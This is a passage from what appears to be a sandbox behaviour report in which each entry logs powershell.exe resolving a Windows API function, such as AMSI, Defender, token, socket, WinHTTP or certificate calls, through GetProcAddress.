00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSAEnumNetworkEvents (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 